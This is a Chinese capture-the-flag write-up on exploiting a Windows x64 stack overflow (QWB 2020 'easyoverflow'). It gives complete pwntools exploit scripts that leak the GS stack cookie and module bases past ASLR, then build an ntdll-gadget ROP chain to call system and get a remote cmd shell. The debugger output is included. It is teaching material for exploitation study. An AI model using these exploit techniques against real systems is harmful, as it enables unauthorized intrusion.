文章首发于先知社区
上两节都是保护机制几乎都没开的情况下,这一节就开始学习绕过ASLR和GS
win pwn初探(三) 这里以强网杯2020的easyoverflow 来练习学习
查看保护
没有开SafeSEH和CFG,其他重要的保护都开了
程序分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 int __cdecl main (int argc, const char **argv, const char **envp) { FILE *v3; FILE *v4; FILE *v5; int v6; char DstBuf[256 ]; v3 = _acrt_iob_func(0 ); setbuf(v3, 0 i64); v4 = _acrt_iob_func(1u ); setbuf(v4, 0 i64); v5 = _acrt_iob_func(2u ); setbuf(v5, 0 i64); v6 = 3 ; do { --v6; memset (DstBuf, 0 , sizeof (DstBuf)); puts ("input:" ); read(0 , DstBuf, 0x400 u); puts ("buffer:" ); puts (DstBuf); } while ( v6 > 0 ); return 0 ; }
这个程序很简单,read这里的DstBuf,可以输入0x400大小的数据,而DestBuf是256的空间,所以存在一个栈溢出漏洞
漏洞利用 泄露StackCookie 在CTF的PWN中,因为有canary的存在,所以先泄露出canary,再泄露出程序基地址,最后利用ret2libc3即可攻击成功
在win中的利用也很相似,首先需要泄露出StackCookie
这个东西,看一下汇编,这个东西是怎么放入程序的一些地址中的
1 2 3 4 5 push rbx sub rsp, 130h mov rax, cs:__security_cookie xor rax, rsp mov [rsp+138h+var_18], rax
在程序开头会将__security_cookie
放入rax,然后与rsp进行异或,之后把异或的结果(StackCookie
)存放在rsp + 138h + var_18
中,再看一下程序的最后
1 2 3 4 5 6 7 xor eax, eax mov rcx, [rsp+138h+var_18] xor rcx, rsp ; StackCookie call __security_check_cookie add rsp, 130h pop rbx retn
程序结束前会把rsp + 138h + var_18
里面的值给到rcx,也就是把上面StackCookie
与rsp异或之后的值给rcx,然后再经过一次异或(这样的话StackCookie
的值就会回到__security_cookie
),最后与__security_cookie
进行比较,如果相等则继续,不相等则crash掉
先构造以下poc测试一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *context.log_level = 'debug' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) r = remote('10.211.55.3' , 1234 ) pause() p1 = b'a' * 8 r.sendlineafter('input:' , p1) r.interactive()
然后在puts("buffer:");
这里下个断点,之后看一下rsp的布局
1 2 3 4 5 6 7 8 0 :000 > dq rsp000000 ee`9973f 840 00000000 `00000000 00000000 `00000000 000000 ee`9973f 850 00000000 `00000000 00000000 `00000002 000000 ee`9973f 860 61616161 `61616161 00000000 `0000000 a000000 ee`9973f 870 00000000 `00000000 00000000 `00000000 000000 ee`9973f 880 00000000 `00000000 00000000 `00000000 000000 ee`9973f 890 00000000 `00000000 00000000 `00000000 000000 ee`9973f 8a0 00000000 `00000000 00000000 `00000000
可以看到8个a已经被写入,上面的StackCookie
会存到rsp + 0x138 - 0x18
中,所以看一下
1 2 3 4 0 :000 > dq rsp + 0x138 - 0x18 000000 ee`9973f 960 00005f b0`2 d14eecc 00000000 `00000000 000000 ee`9973f 970 000002e8 `94297480 00007f f6`71 ad12f4000000 ee`9973f 980 000000 ee`9973f 9e0 00007f f6`71 ad136d
此时程序的StackCookie是00005fb0 2d14eecc
这个值也就是0x5fb02d14eecc
,看一下输入的buf距离这个地址多少,ee9973f960 - ee9973f860 = 0x100
,所以编写poc泄露出StackCookie
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *context.log_level = 'debug' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) r = remote('10.211.55.3' , 1234 ) pause() p1 = b'a' * 0x100 r.sendlineafter('input:' , p1) r.recvuntil('a' * 0x100 ) r.recvuntil('\n' ) StackCookie = u64(r.recv(6 ).ljust(8 , b'\x00' )) li('StackCookie = ' + hex (StackCookie)) r.interactive()
调试一下看一下泄露的是否正确
1 2 3 4 5 6 0 :000 > dq rsp + 0x130 - 0x18 00000057 `f0bcfc88 61616161 `61616161 00002447 `1 d701f4300000057 `f0bcfc98 00000000 `00000000 00000185 `4b f4748000000057 `f0bcfca8 00007f f6`637112f 4 00000057 `f0bcfd1000000057 `f0bcfcb8 00007f f6`6371136 d 00000000 `00000000 00000057 `f0bcfcc8 00000000 `00000000 00000000 `00000000
可以看到StackCookie
的值是0x24471d701f43
1 2 3 4 5 6 7 8 [DEBUG] Received 0x119 bytes: 00000000 62 75 66 66 65 72 3 a 0 d 0 a 61 61 61 61 61 61 61 │buff│er:·│·aaa│aaaa│ 00000010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│ * 00000100 61 61 61 61 61 61 61 61 61 43 1f 70 1 d 47 24 0 d │aaaa│aaaa│aC·p│·G$·│ 00000110 0 a 69 6 e 70 75 74 3 a 0 d 0 a │·inp│ut:·│·│ 00000119 StackCookie = 0x24471d701f43
poc里面StackCookie
和上面调试的一样
泄露binary base 因为这个程序三次循环,只要最后的StackCookie正确就不会crash,所以第二次可以泄露出程序的基地址,也就是覆盖rbp,后面就会连带返回值一起泄露出来,poc如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *context.log_level = 'debug' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) r = remote('10.211.55.3' , 1234 ) pause() p1 = b'a' * 0x100 r.sendafter('input:' , p1) r.recvuntil('a' * 0x100 ) StackCookie = u64(r.recv(6 ).ljust(8 , b'\x00' )) li('StackCookie = ' + hex (StackCookie)) p2 = b'a' * 0x118 r.sendafter('input:' ,p2) r.recvuntil('a' * 0x118 ) leak_addr = u64(r.recv(6 ).ljust(8 , b'\x00' )) li('leak_addr = ' + hex (leak_addr)) r.interactive()
运行即可成功泄露出返回地址,此时就可以算出binary base
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import *context.log_level = 'debug' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) r = remote('10.211.55.3' , 1234 ) pause() p1 = b'a' * 0x100 r.sendafter('input:' , p1) r.recvuntil('a' * 0x100 ) StackCookie = u64(r.recv(6 ).ljust(8 , b'\x00' )) li('StackCookie = ' + hex (StackCookie)) p2 = b'a' * 0x118 r.sendafter('input:' ,p2) r.recvuntil('a' * 0x118 ) leak_addr = u64(r.recv(6 ).ljust(8 , b'\x00' )) li('leak_addr = ' + hex (leak_addr)) binary_base = leak_addr - 0x12F4 li('binary_base = ' + hex (binary_base)) r.interactive()
debug细节如下
1 2 3 4 5 6 7 8 9 [DEBUG] Received 0x131 bytes: 00000000 62 75 66 66 65 72 3 a 0 d 0 a 61 61 61 61 61 61 61 │buff│er:·│·aaa│aaaa│ 00000010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│ * 00000120 61 f4 12 4 c 0 c f6 7f 0 d 0 a 69 6 e 70 75 74 3 a 0 d │a··L│····│·inp│ut:·│ 00000130 0 a │·│ 00000131 leak_addr = 0x7ff60c4c12f4 binary_base = 0x7ff60c4c0000
算出binary_base = 0x7ff60c4c0000
,验证一下是否正确,直接看windbg前面的信息
1 2 3 4 5 6 7 8 9 Executable search path is: ModLoad: 00007f f6`0 c4c0000 00007f f6`0 c4c7000 Z:\easyoverflow\StackOverflow.exe ModLoad: 00007f f8`f3790000 00007f f8`f3b86000 C:\Windows\SYSTEM32\ntdll.dll ModLoad: 00007f f8`f1eb0000 00007f f8`f1fa4000 C:\Windows\System32\xtajit64.dll ModLoad: 00007f f8`f1020000 00007f f8`f117c000 C:\Windows\System32\KERNEL32.DLL ModLoad: 00007f f8`ef810000 00007f f8`efdf9000 C:\Windows\System32\KERNELBASE.dll ModLoad: 00007f f8`eedd0000 00007f f8`eeea8000 C:\Windows\SYSTEM32\apphelp.dll ModLoad: 00007f f8`ef270000 00007f f8`ef464000 C:\Windows\System32\ucrtbase.dll ModLoad: 00007f f8`e6e80000 00007f f8`e6eb5000 C:\Windows\SYSTEM32\VCRUNTIME140.dll
第二行就是binary的地址区间,基地址一样,证明poc正确
接下来需要打返回地址到main函数使得可以继续利用,值得注意的是因为到main函数之后栈会变,所以需要再次泄露出StackCookie
,poc如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import *context.log_level = 'debug' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) r = remote('192.168.10.102' , 1234 ) p1 = b'a' * 0x100 r.sendafter('input:' , p1) r.recvuntil('a' * 0x100 ) StackCookie = u64(r.recv(6 ).ljust(8 , b'\x00' )) li('StackCookie = ' + hex (StackCookie)) p2 = b'a' * 0x118 r.sendafter('input:' ,p2) r.recvuntil('a' * 0x118 ) leak_addr = u64(r.recv(6 ).ljust(8 , b'\x00' )) li('leak_addr = ' + hex (leak_addr)) binary_base = leak_addr - 0x12F4 li('binary_base = ' + hex (binary_base)) main_addr = 0x1000 + binary_base p3 = b'a' * 0x100 p3 += p64(StackCookie) p3 += b'a' * 0x10 p3 += p64(main_addr) r.sendafter('input:' , p3) r.sendafter('input:' , p1) r.recvuntil('a' * 0x100 ) StackCookie = u64(r.recv(6 ).ljust(8 , b'\x00' )) li('StackCookie = ' + hex (StackCookie))
ret2dll 接下来就可以利用ret2dll的方法来getshell,第一步泄露出dll_base,上一节已经学过了利用iat表来泄露出dll_base,但是这个程序是64位的,参数通过寄存器传递,顺序是 rcx rdx r8 r9
所以笔者用Ropgadget找了一下发现gadgets很少几乎用不了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ➜ easyoverflow ROPgadget --binary StackOverflow.exe --only 'pop|ret' Gadgets information ============================================================ 0x00000001400017ee : pop rbp ; ret0x00000001400010c9 : pop rbx ; ret0x00000001400014ed : pop rdi ; pop rsi ; pop rbx ; ret0x000000014000133d : pop rdi ; ret0x00000001400014ee : pop rsi ; pop rbx ; ret0x00000001400010ca : ret0x0000000140001818 : ret 0 0x0000000140001723 : ret 0x8348 0x0000000140001643 : ret 0xb70f 0x0000000140001678 : ret 0xeb28 0x0000000140001d12 : ret 3
在CTF PWN中,可以通过泄露出libc然后用libc的gadgets,但是win下就不一样,因为没有可用的gadgets,所以需要借助ntdll.dll这个dll来寻找可用的gadgets,为什么是ntdll.dll呢,因为在main函数调用之前会调用ntdll.dll,所以可以泄露出这上面的地址,寻找一下
1 2 3 4 5 6 ModLoad: 00007f ff`2 da80000 00007f ff`2 dc89000 C:\WINDOWS\SYSTEM32\ntdll.dll 0 :000 > dq rsp + 0x170 00000010 `d33ffb88 61616161 `61616161 61616161 `61616161 00000010 `d33ffb98 61616161 `61616161 61616161 `61616161 00000010 `d33ffba8 61616161 `61616161 61616161 `61616161 00000010 `d33ffbb8 00007f ff`2 da8485b 00000000 `00000000
在10d33ffba8
这里存放的地址就是ntdll.dll上的地址,算一下偏移在0x180,并且泄露的地址与base偏移为0x485b
所以构造如下exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import *context.log_level = 'debug' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) r = remote('192.168.10.102' , 1234 ) pause() p1 = b'a' * 0x100 r.sendafter('input:' , p1) r.recvuntil('a' * 0x100 ) StackCookie = u64(r.recv(6 ).ljust(8 , b'\x00' )) li('StackCookie = ' + hex (StackCookie)) p2 = b'a' * 0x118 r.sendafter('input:' ,p2) r.recvuntil('a' * 0x118 ) leak_addr = u64(r.recv(6 ).ljust(8 , b'\x00' )) li('leak_addr = ' + hex (leak_addr)) binary_base = leak_addr - 0x12F4 li('binary_base = ' + hex (binary_base)) main_addr = 0x1000 + binary_base p3 = b'a' * 0x100 p3 += p64(StackCookie) p3 += b'a' * 0x10 p3 += p64(main_addr) r.sendafter('input:' , p3) r.sendafter('input:' , p1) r.recvuntil('a' * 0x100 ) StackCookie = u64(r.recv(6 ).ljust(8 , b'\x00' )) li('StackCookie = ' + hex (StackCookie)) p4 = b'a' * 0x180 r.sendafter('input:' , p4) r.recvuntil('a' * 0x180 ) ntdll_addr = u64(r.recv(6 ).ljust(8 , b'\x00' )) li('ntdll_addr = ' + hex (ntdll_addr)) ntdll_base = ntdll_addr - 0x485b li('ntdll_base = ' + hex (ntdll_base)) r.interactive()
输出的地址正确,因为有aslr的存在,所以地址肯定是随机的,这就造成了上面有时候地址不一样,需要注意的是这里笔者换成了实机,因为arm windows11支持了x64的程序
相应的x64程序的公用DLL和ARM64程序使用的公用DLL一样都会存放在System32目录下。实际上,原来的ARM64系统DLL都已经进化成ARM64x ABI的混合DLL,这些DLL中的机器码主要仍是ARM64 native的,ARM64程序仍然能以最高效率调用里面导出的函数。同时增加了对x64程序基于JIT指令转译模拟执行时调用相关导出函数的支持,主要是将x64调用约定转换为对相应的ARM64函数的调用,执行结果处理则反之。这样可以提高执行效率,因为如果直接使用自Win10 x64版本的System32目录复制过来的x64 DLL的话,DLL中的机器码也需要指令转译,从而影响了执行效率。可能有点像Win10 on ARM下执行x86程序时调用系统常用的DLL使用SyChpe32中的CHPE DLL以提高执行效率的策略。
1 2 3 4 5 6 7 8 9 [DEBUG] Received 0x193 bytes: 00000000 3 a 0 d 0 a 61 61 61 61 61 61 61 61 61 61 61 61 61 │:··a│aaaa│aaaa│aaaa│ 00000010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│ * 00000180 61 61 61 5b 48 a8 2 d ff 7f 0 d 0 a 69 6 e 70 75 74 │aaa[│H·-·│···i│nput│ 00000190 3 a 0 d 0 a │:··│ 00000193 ntdll_addr = 0x7fff2da8485b ntdll_base = 0x7fff2da80000
拿到ntdll的地址之后寻找需要用的gadgets,也就是能控制rcx的还有rbx,为什么还有个rbx,看下面的汇编
1 2 3 4 5 6 7 8 9 10 11 12 13 14 dec ebx call memset lea rcx, Buffer ; "input:" call cs:puts mov r8d, 400h ; MaxCharCount lea rdx, [rsp+138h+DstBuf] ; DstBuf xor ecx, ecx ; FileHandle call cs:_read lea rcx, aBuffer ; "buffer:" call cs:puts lea rcx, [rsp+138h+DstBuf] ; Buffer call cs:puts test ebx, ebx jg short loc_7FF60C4C1060
通过rbx来控制循环次数,所以控制了rbx为1之后就可以继续执行rop,找到gadgets之后就需要构造rop了,在构造rop的时候会发现失败,排查下来可以发现是rsp的原因
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 0 :000 > rrax=0000000000000140 rbx=0000000000000000 rcx=00000000f fffffff rdx=00000245250 cc230 rsi=0000000000000000 rdi=00000245250 d0020 rip=00007f f678e11094 rsp=000000f 986aff928 rbp=0000000000000000 r8=0000000000000140 r9=00007f ff2b7909a0 r10=0000000000000000 r11=000000000000019 c r12=0000000000000000 r13=0000000000000000 r14=0000000000000000 r15=0000000000000000 iopl=0 nv up ei pl nz na pe nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 StackOverflow+0x1094 : 00007f f6`78e11094 488 d0dbd110000 lea rcx,[StackOverflow+0x2258 (00007f f6`78e12258 )]0 :000 > gBreakpoint 0 hit StackOverflow+0x1094 : 00007f f6`78e11094 488 d0dbd110000 lea rcx,[StackOverflow+0x2258 (00007f f6`78e12258 )]0 :000 > rrax=0000000000000140 rbx=0000000000000000 rcx=00000000f fffffff rdx=00000245250 cc230 rsi=0000000000000000 rdi=00000245250 d0020 rip=00007f f678e11094 rsp=000000f 986affa88 rbp=0000000000000000 r8=0000000000000140 r9=00007f ff2b7909a0 r10=0000000000000000 r11=000000000000019 c r12=0000000000000000 r13=0000000000000000 r14=0000000000000000 r15=0000000000000000
因为rsp的值改变了,所以最后check cookie
会不通过,所以需要重新计算StackCookie
,也就是泄露出security_cookie
,再计算出新的rsp(000000f986affa88 - 000000f986aff928 = 0x160
),所以exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 from pwn import *context.log_level = 'debug' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) r = remote('192.168.10.102' , 1234 ) p1 = b'a' * 0x100 r.sendafter('input:' , p1) r.recvuntil('a' * 0x100 ) StackCookie = u64(r.recv(6 ).ljust(8 , b'\x00' )) li('StackCookie = ' + hex (StackCookie)) p2 = b'a' * 0x118 r.sendafter('input:' ,p2) r.recvuntil('a' * 0x118 ) leak_addr = u64(r.recv(6 ).ljust(8 , b'\x00' )) li('leak_addr = ' + hex (leak_addr)) binary_base = leak_addr - 0x12F4 li('binary_base = ' + hex (binary_base)) main_addr = 0x1000 + binary_base p3 = b'a' * 0x100 p3 += p64(StackCookie) p3 += b'a' * 0x10 p3 += p64(main_addr) r.sendafter('input:' , p3) r.sendafter('input:' , p1) r.recvuntil('a' * 0x100 ) StackCookie = u64(r.recv(6 ).ljust(8 , b'\x00' )) li('StackCookie = ' + hex (StackCookie)) p4 = b'a' * 0x180 r.sendafter('input:' , p4) r.recvuntil('a' * 0x180 ) ntdll_addr = u64(r.recv(6 ).ljust(8 , b'\x00' )) li('ntdll_addr = ' + hex (ntdll_addr)) ntdll_base = ntdll_addr - 0x485b li('ntdll_base = ' + hex (ntdll_base)) pop_rcx_ret = 0x0000000000096065 + ntdll_base pop_rbx_ret = 0x00000000000012a7 + ntdll_base pop_rdx_ret = 0x00000000000f12ab + ntdll_base puts_plt = 0x10A6 + binary_base security_cookie_addr = 0x3008 + binary_base p5 = b'a' * 0x100 p5 += p64(StackCookie) p5 += b'a' * 0x10 p5 += p64(pop_rcx_ret) p5 += p64(security_cookie_addr) p5 += p64(pop_rbx_ret) p5 += p64(1 ) p5 += p64(puts_plt) r.sendafter('input:' , p5) r.recvuntil('a' * 0x100 ) r.recvline() security_cookie = u64(r.recvn(6 ).ljust(8 , b'\x00' )) li('security_cookie = ' + hex (security_cookie)) old_rsp = security_cookie ^ StackCookie li('old_rsp = ' + hex (old_rsp)) new_rsp = old_rsp + 0x160 li('new_rsp = ' + hex (new_rsp))
现在有了新的rsp,通过security_cookie
异或出新的StackCookie
即可正常rop,此时输出ucrtbase
,然后算出system和cmd,值得注意的是再次rop,rsp还是会变的,算好偏移即可,最终exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 from pwn import *context.log_level = 'debug' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) r = remote('192.168.10.102' , 1234 ) p1 = b'a' * 0x100 r.sendafter('input:' , p1) r.recvuntil('a' * 0x100 ) StackCookie = u64(r.recv(6 ).ljust(8 , b'\x00' )) li('StackCookie = ' + hex (StackCookie)) p2 = b'a' * 0x118 r.sendafter('input:' ,p2) r.recvuntil('a' * 0x118 ) leak_addr = u64(r.recv(6 ).ljust(8 , b'\x00' )) li('leak_addr = ' + hex (leak_addr)) binary_base = leak_addr - 0x12F4 li('binary_base = ' + hex (binary_base)) main_addr = 0x1000 + binary_base p3 = b'a' * 0x100 p3 += p64(StackCookie) p3 += b'a' * 0x10 p3 += p64(main_addr) r.sendafter('input:' , p3) r.sendafter('input:' , p1) r.recvuntil('a' * 0x100 ) StackCookie = u64(r.recv(6 ).ljust(8 , b'\x00' )) li('StackCookie = ' + hex (StackCookie)) p4 = b'a' * 0x180 r.sendafter('input:' , p4) r.recvuntil('a' * 0x180 ) ntdll_addr = u64(r.recv(6 ).ljust(8 , b'\x00' )) li('ntdll_addr = ' + hex (ntdll_addr)) ntdll_base = ntdll_addr - 0x485b li('ntdll_base = ' + hex (ntdll_base)) pop_rcx_ret = 0x0000000000096065 + ntdll_base pop_rbx_ret = 0x00000000000012a7 + ntdll_base pop_rdx_ret = 0x00000000000f12ab + ntdll_base puts_plt = 0x10A6 + binary_base security_cookie_addr = 0x3008 + binary_base p5 = b'a' * 0x100 p5 += p64(StackCookie) p5 += b'a' * 0x10 p5 += p64(pop_rcx_ret) p5 += p64(security_cookie_addr) p5 += p64(pop_rbx_ret) p5 += p64(1 ) p5 += p64(puts_plt) r.sendafter('input:' , p5) r.recvuntil('a' * 0x100 ) r.recvline() security_cookie = u64(r.recvn(6 ).ljust(8 , b'\x00' )) li('security_cookie = ' + hex (security_cookie)) old_rsp = security_cookie ^ StackCookie li('old_rsp = ' + hex (old_rsp)) new_rsp = old_rsp + 0x160 li('new_rsp = ' + hex (new_rsp)) read_got = 0x2178 + binary_base p6 = b'a' * 0x100 p6 += p64(new_rsp ^ security_cookie) p6 += b'a' * 0x10 p6 += p64(pop_rcx_ret) + p64(read_got) p6 += p64(pop_rbx_ret) + p64(1 ) p6 += p64(puts_plt) r.sendafter('input:' , p6) r.recvuntil('a' * 0x100 ) r.recvline() ucrt_base = u64(r.recvn(6 ).ljust(8 , b'\x00' )) - 0x7650 li('ucrt_base = ' + hex (ucrt_base)) system_addr = 0xBCB20 + ucrt_base cmd = 0xE0020 + ucrt_base p7 = b'a' * 0x100 p7 += p64((new_rsp + 0x160 ) ^ security_cookie) p7 += b'a' * 0x10 p7 += p64(pop_rcx_ret) + p64(cmd) p7 += p64(system_addr) r.sendafter('input:' , p7) r.interactive()
看一下打通的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 [*] Switching to interactive mode [DEBUG] Received 0x6 bytes: b'b uffer' buffer[DEBUG] Received 0x17d bytes: 00000000 3 a 0 d 0 a 61 61 61 61 61 61 61 61 61 61 61 61 61 │:··a│aaaa│aaaa│aaaa│ 00000010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│ * 00000100 61 61 61 8 a d2 4f 29 c5 43 0 d 0 a 4 d 69 63 72 6f │aaa·│·O)·│C··M│icro│ 00000110 73 6f 66 74 20 57 69 6 e 64 6f 77 73 20 5b b0 e6 │soft│ Win│dows│ [··│ 00000120 b1 be 20 31 30 2 e 30 2 e 32 32 30 30 30 2 e 39 37 │·· 1 │0.0 .│2200 │0.97 │ 00000130 38 5 d 0 d 0 a 28 63 29 20 4 d 69 63 72 6f 73 6f 66 │8 ]··│(c) │Micr│osof│ 00000140 74 20 43 6f 72 70 6f 72 61 74 69 6f 6 e a1 a3 b1 │t Co│rpor│atio│n···│ 00000150 a3 c1 f4 cb f9 d3 d0 c8 a8 c0 fb a1 a3 0 d 0 a 0 d │····│····│····│····│ 00000160 0 a 43 3 a 5 c 55 73 65 72 73 5 c 4 c 65 6 e 6f 76 6f │·C:\│User│s\Le│novo│ 00000170 5 c 44 65 73 6b 74 6f 70 5 c 70 77 6 e 3 e │\Des│ktop│\pwn│>│ 0000017 d : aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa��O)�C Microsoft Windows [�汾 10.0 .22000 .978 ] (c) Microsoft Corporation����������Ȩ���� C:\Users\Lenovo\Desktop\pwn>
一次不通可以多打几次
总结 也是学到了如何绕过GS,因为pwntools的模块没有像libc.sym的这样的东西,所以在写exp的时候没有自动化的一个获取,后面笔者有时间的话会寻找一下有没有对应的解决方案
Reference https://www.zhihu.com/question/434317266/answer/1623308852
https://ret2ver.github.io/2021/10/02/2020%E5%BC%BA%E7%BD%91%E6%9D%AF-easyoverflow/
https://github.com/z1r00/ctf-pwn/blob/main/winpwn/QWB2020/easyoverflow.zip